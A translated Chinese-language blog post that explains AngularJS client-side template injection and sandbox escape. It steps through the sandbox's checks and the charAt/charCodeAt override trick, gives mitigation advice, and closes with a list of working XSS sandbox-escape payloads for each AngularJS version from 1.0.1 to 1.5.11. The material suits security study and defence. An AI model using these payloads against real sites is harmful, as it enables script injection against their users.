测试连接:javascript
https://liveoverflow.com/php/angularjs/angular1.5.8.php?q=%7B%7B1%2B2%7D%7Dphp
看了 XSS without HTML: Client-Side Template Injection with AngularJS 一文感受不错,因而翻译了下,加了点东西,有时间的话把另一篇 SSTI 的也翻译了。html
提及模版注入(Template Injection ),你们都会想起去年很火的 SSTI(Server-Side Template Injection),以 Python 中经常使用的模板引擎 Jinja2 为例,假若有个这样的 Flask 代码:前端
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
开发者想要回显出用户输入的错误 URL,但他选择使用字符串格式化,来将 URL 动态地加入到模板字符串中,而不是经过 render_template_string
函数将 URL 传递进入模板内容当中。这会形成什么后果?咱们在 URL 末尾加上 {{ 7+7 }}
试试:java
能够看到模板引擎计算了数学表达式,应用程序在响应的时候将其解析成 14
。若是咱们把 {{ 7+7 }}
换成 {{ config.items() }}
呢?感兴趣的小伙伴能够试试。(详细内容可参考 Exploring SSTI in Flask/Jinja2)python
经过前面的例子,你们应该已经知道不能将用户输入直接做为模版内容的一部分。那么在现代的前端框架中也有相似的模板或表达式,会不会也有这样的问题?git
一样以 AngularJS 为例:angularjs
<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>{{ 7+7 }}</div>
</body>
</html>
果真也出现了 14
,若是改为 {{ alert(1) }}
试试呢?github
惋惜什么也没发生,连源码里也没有。ajax
原来 AngularJS 1.6 如下版本都有一个安全沙箱,会对表达式进行检查、过滤、解析、重写。
在第 13275 行下断点,跟踪 fnString
,发现以前的 {{ 7+7 }}
被变换成了
"use strict";
var fn = function(s, l, a, i) {
return plus(7, 7);
};
return fn;
再把 {{ 7+7 }}
换成 {{constructor.constructor('alert(1)')()}}
,发现一些有趣的输出:
"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4 = l && ('constructor' in l),
v5;
if (!(v4)) {
if (s) {
v3 = s.constructor;
}
} else {
v3 = l.constructor;
}
ensureSafeObject(v3, text);
if (v3 != null) {
v2 = ensureSafeObject(v3.constructor, text);
} else {
v2 = undefined;
}
if (v2 != null) {
ensureSafeFunction(v2, text);
v5 = 'alert\u00281\u0029';
ensureSafeObject(v3, text);
v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
} else {
v1 = undefined;
}
if (v1 != null) {
ensureSafeFunction(v1, text);
v0 = ensureSafeObject(v1(), text);
} else {
v0 = undefined;
}
return v0;
};
return fn;
能够看出 AngularJS 遍历了表达式的每一个对象并用 ensureSafeObject
函数检查它。ensureSafeObject 函数检查对象是不是函数/对象引用、窗口对象、 DOM 元素,若是任何检查为真,它就会抛出异常并中止执行表达式。同时它还阻止了对全局变量的访问。
AngularJS 还有一些安全检查函数好比 ensureSafeMemberName
和 ensureSafeFunction
,ensureSafeMemberName 检查了属性名称确保没有 __proto__
等,而 ensureSafeFunction 检查了是否是函数构造器或函数绑定等。
由于 AngularJS 表达式不支持函数语句,因此没法直接覆盖原生的 JavaScript。不过有一个函数可能有用 —— String.fromCharCode
,由于这个函数是从字符串构造函数(String constructor)而不是字符串调用的,即 this
的值是 String constructor。
那咱们怎么在不建立新函数的状况下利用 fromCharCode 呢?重用现有的函数就好了~ 如今的问题是怎么控制 fromCharCode 被调用时的值。
若是咱们使用数组链接函数,可让字符串构造函数为伪数组,这样咱们能够得到 length 属性和一个属性为 0 的伪数组索引。
这样 String.fromCharCode 被调用时咱们就能获得想要的 <iframe onload=alert(/Backdoored/)>
字符串了,让咱们试试看效果:
<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>
{{
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
}}
</div>
<script>
onload=function(){
document.write(String.fromCharCode(97));
}
</script>
</body>
</html>
但惋惜在 AngularJS 的代码里并无找到可直接用于沙箱逃逸的 String.fromCharcode,因此须要寻找一个新的函数。
随后发现了 charCodeAt
,若是能够覆盖这个值,它就会被注入到字符串属性中,不会有任何过滤。然而有个问题:此次 this
的值是不可写(没法操做索引或长度)的字符串而不是字符串构造函数,因此不能用相同的方法来覆盖函数。
后来想到用 [].concat
,这个函数会把字符串和参数链接在一块儿返回。
好比 'abc'.charCodeAt(0)
你也许会以为是 97
(ASCII a),但覆盖掉 charCodeAt 后返回的倒是 abc,0
。
这有什么用呢?利用它就能够注入恶意的属性,绕过安全检查。
安全检查的伪代码像这样:
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
Out
是过滤后的输出,key
是属性名称,而 value
是属性的值。encodeEntities
函数是这样的:
function encodeEntities(value) {
return value.
replace(/&/g, '&').
replace(SURROGATE_PAIR_REGEXP, function(value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
}).
replace(NON_ALPHANUMERIC_REGEXP, function(value) {
return '&#' + value.charCodeAt(0) + ';';
}).
replace(/</g, '<').
replace(/>/g, '>');
}
return '&#' + value.charCodeAt(0) + ';'
是关键,很明显开发者认为 charCodeAt 函数返回的就是整数,但若是攻击者控制了它,沙箱就“千里之堤,毁于蚁穴”了。
经过类似的原理,咱们就能够逃逸沙箱。
让咱们试一下其余的自带函数,CharAt 感受颇有但愿。
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=""')+''
}}
出现了解析错误,看看到底发生了什么:
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003d\u0022\u0022' in l);
if (!(v6)) {
if (s) {
v5 = s.x = "";
}
} else {
v5 = l.x = "";
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = "";
}
} else {
v2 = l.x = "";
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = "", text);
v0 = v3.x = "" = v1;
}
return v0;
};
return fn;
注意 v0 = v3.x = "" = v1
,看起来有戏,若是咱们把 Payload 换一下:
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)')+''
}}
Bingo,可爱的 alert 终于出现了。
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;
能够看到 x=alert(1)
成功绕过了安全检查注入进了代码,咱们成功逃逸了沙箱!
为了更深刻地观察 AngularJS 是如何解析代码的,咱们能够在 14079 行处下断点,点击 Resume
跳过解析器初始化,而后一直 Step into
,能够看到在 12699 行它会认为 x=alert(1) 是一个 identifier
。
在这个过程当中有 isIdent
和 isNumber
函数在检查:
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (!(this.isIdent(ch) || this.isNumber(ch))) {
break;
}
this.index++;
}
isIdent= function(ch) {
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}
不过由于咱们重写了 charAt,'x=alert(1)'.charAt(9)
其实是 x9=9a9l9e9r9t9(919)
,而长字符串确定大于任意一个单字符,因此每次均可以绕过判断:
最后在第 13247 行建立复制函数时,identifier 被屡次注入到函数字符串中,当这个构造函数被调用时,页面上就会被注入咱们的 alert(1)。
AngularJS 在 1.6 版本之后就移除了安全沙箱,由于它并不能根本上解决 XSS 问题。
若是攻击者能够访问控制 AngularJS 模板或表达式,他们能够经过 XSS 攻击利用任意版本 AngularJS。
有多种方法能够控制模板和表达式:
表达式时在调用下面的方法时包含用户提供的内容:
$watch(userContent, ...)
$watchGroup(userContent, ...)
$watchCollection(userContent, ...)
$eval(userContent)
$evalAsync(userContent)
$apply(userContent)
$applyAsync(userContent)
表达式在解析时包含用户提供的内容:
$compile(userContent)
$parse(userContent)
$interpolate(userContent)
{{ value | orderBy : userContent }}
因此设计应用程序时,用户不能更改客户端模板。
CSP
可使用服务器端模板来动态生成 CSS,URL 等,但不能用于生成由 AngularJS 引导/编译的模板。
若是必须在 AngularJS 模板中使用用户提供的内容,须要确保它在经过 ngNonBindable
指令明确指定了不编译的模板部分中。
下面是一些 AngularJS 绕过的 Payload:
1.0.1 - 1.1.5
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.24 - 1.2.29
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
1.3.1 - 1.3.2
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
1.3.3 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
1.3.19
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}
1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} ---->没有测试成功
1.5.9 - 1.5.11
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}